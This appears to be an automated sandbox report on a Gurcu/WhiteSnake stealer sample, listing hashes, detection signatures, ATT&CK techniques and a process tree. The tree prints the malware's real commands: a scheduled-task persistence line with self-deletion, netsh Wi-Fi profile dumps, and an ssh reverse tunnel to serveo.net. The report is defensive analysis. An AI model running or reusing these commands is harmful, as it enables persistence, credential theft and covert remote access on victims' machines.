gurcu | 8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

Analysis

max time kernel
274s
max time network
322s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
11-10-2023 09:56

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General

Target

tmp.exe
Size

426KB
MD5

ef43d260ba94eea5dad184fcb6e1abcf
SHA1

2cad3eaa11d5842b430ca28c9d185bc82d7661d1
SHA256

8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458
SHA512

de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a
SSDEEP

6144:3Gd/t/a2zDGVPJXvnzZjDJHb571Kjn1929XDccHa+u9bamBftR0RgW:cRatpvnzZjDv7oj19yTaAmBftR0CW

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 7 IoCs

resource	yara_rule
behavioral1/memory/2612-0-0x00000000012F0000-0x000000000135C000-memory.dmp	family_gurcu_v3
behavioral1/memory/2612-2-0x000000001A7A0000-0x000000001A820000-memory.dmp	family_gurcu_v3
behavioral1/files/0x000900000001201c-7.dat	family_gurcu_v3
behavioral1/files/0x000900000001201c-8.dat	family_gurcu_v3
behavioral1/memory/2996-9-0x0000000001370000-0x00000000013DC000-memory.dmp	family_gurcu_v3
behavioral1/memory/2996-11-0x000000001B210000-0x000000001B290000-memory.dmp	family_gurcu_v3
behavioral1/files/0x000900000001201c-127.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Deletes itself 1 IoCs

pid	Process
2736	cmd.exe

Executes dropped EXE 4 IoCs

pid	Process
2996	tmp.exe
2424	ssh.exe
876	tmp.exe
2496	ssh.exe

Loads dropped DLL 2 IoCs

pid	Process
2424	ssh.exe
2496	ssh.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1768	schtasks.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	tmp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	tmp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	tmp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	tmp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	tmp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	tmp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	tmp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	tmp.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2524	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2996	tmp.exe
2996	tmp.exe
876	tmp.exe
876	tmp.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	tmp.exe
Token: SeDebugPrivilege	2996	tmp.exe
Token: SeDebugPrivilege	876	tmp.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 2736	2612	tmp.exe	27
PID 2612 wrote to memory of 2736	2612	tmp.exe	27
PID 2612 wrote to memory of 2736	2612	tmp.exe	27
PID 2736 wrote to memory of 2580	2736	cmd.exe	29
PID 2736 wrote to memory of 2580	2736	cmd.exe	29
PID 2736 wrote to memory of 2580	2736	cmd.exe	29
PID 2736 wrote to memory of 2524	2736	cmd.exe	30
PID 2736 wrote to memory of 2524	2736	cmd.exe	30
PID 2736 wrote to memory of 2524	2736	cmd.exe	30
PID 2736 wrote to memory of 1768	2736	cmd.exe	31
PID 2736 wrote to memory of 1768	2736	cmd.exe	31
PID 2736 wrote to memory of 1768	2736	cmd.exe	31
PID 2736 wrote to memory of 2996	2736	cmd.exe	32
PID 2736 wrote to memory of 2996	2736	cmd.exe	32
PID 2736 wrote to memory of 2996	2736	cmd.exe	32
PID 2996 wrote to memory of 2868	2996	tmp.exe	33
PID 2996 wrote to memory of 2868	2996	tmp.exe	33
PID 2996 wrote to memory of 2868	2996	tmp.exe	33
PID 2868 wrote to memory of 1640	2868	cmd.exe	35
PID 2868 wrote to memory of 1640	2868	cmd.exe	35
PID 2868 wrote to memory of 1640	2868	cmd.exe	35
PID 2868 wrote to memory of 2764	2868	cmd.exe	36
PID 2868 wrote to memory of 2764	2868	cmd.exe	36
PID 2868 wrote to memory of 2764	2868	cmd.exe	36
PID 2868 wrote to memory of 2988	2868	cmd.exe	37
PID 2868 wrote to memory of 2988	2868	cmd.exe	37
PID 2868 wrote to memory of 2988	2868	cmd.exe	37
PID 2996 wrote to memory of 1480	2996	tmp.exe	38
PID 2996 wrote to memory of 1480	2996	tmp.exe	38
PID 2996 wrote to memory of 1480	2996	tmp.exe	38
PID 1480 wrote to memory of 2768	1480	cmd.exe	40
PID 1480 wrote to memory of 2768	1480	cmd.exe	40
PID 1480 wrote to memory of 2768	1480	cmd.exe	40
PID 1480 wrote to memory of 2780	1480	cmd.exe	42
PID 1480 wrote to memory of 2780	1480	cmd.exe	42
PID 1480 wrote to memory of 2780	1480	cmd.exe	42
PID 1480 wrote to memory of 2796	1480	cmd.exe	41
PID 1480 wrote to memory of 2796	1480	cmd.exe	41
PID 1480 wrote to memory of 2796	1480	cmd.exe	41
PID 2996 wrote to memory of 2424	2996	tmp.exe	44
PID 2996 wrote to memory of 2424	2996	tmp.exe	44
PID 2996 wrote to memory of 2424	2996	tmp.exe	44
PID 2996 wrote to memory of 2424	2996	tmp.exe	44
PID 764 wrote to memory of 876	764	taskeng.exe	47
PID 764 wrote to memory of 876	764	taskeng.exe	47
PID 764 wrote to memory of 876	764	taskeng.exe	47
PID 876 wrote to memory of 1600	876	tmp.exe	48
PID 876 wrote to memory of 1600	876	tmp.exe	48
PID 876 wrote to memory of 1600	876	tmp.exe	48
PID 1600 wrote to memory of 2012	1600	cmd.exe	50
PID 1600 wrote to memory of 2012	1600	cmd.exe	50
PID 1600 wrote to memory of 2012	1600	cmd.exe	50
PID 1600 wrote to memory of 2116	1600	cmd.exe	51
PID 1600 wrote to memory of 2116	1600	cmd.exe	51
PID 1600 wrote to memory of 2116	1600	cmd.exe	51
PID 1600 wrote to memory of 2476	1600	cmd.exe	52
PID 1600 wrote to memory of 2476	1600	cmd.exe	52
PID 1600 wrote to memory of 2476	1600	cmd.exe	52
PID 876 wrote to memory of 2896	876	tmp.exe	53
PID 876 wrote to memory of 2896	876	tmp.exe	53
PID 876 wrote to memory of 2896	876	tmp.exe	53
PID 2896 wrote to memory of 2580	2896	cmd.exe	55
PID 2896 wrote to memory of 2580	2896	cmd.exe	55
PID 2896 wrote to memory of 2580	2896	cmd.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	tmp.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "tmp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmp.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2580
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2524
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "tmp" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1768
- - C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2868
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1640
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:2764
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:2988
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1480
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2768
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:2796
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:2780
  - - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
      "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3957 serveo.net
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2424

C:\Windows\system32\taskeng.exe
taskeng.exe {37DE0816-4BA9-4314-8612-D28CE048EAA3} S-1-5-21-3750544865-3773649541-1858556521-1000:XOCYHKRS\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:764
- C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
  C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:876
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2012
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:2116
  - - C:\Windows\system32\findstr.exe
      findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:2476
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2580
  - - C:\Windows\system32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      PID:1992
  - - C:\Windows\system32\findstr.exe
      findstr "SSID BSSID Signal"
      4⤵
      PID:2756
- - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3957 serveo.net
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
393B

MD5
18015a60cd12f33648facec1263cfafa

SHA1
31b7afd9a2dc51bfad694e5772d430fceedbac3f

SHA256
9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

SHA512
fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

Download Submit
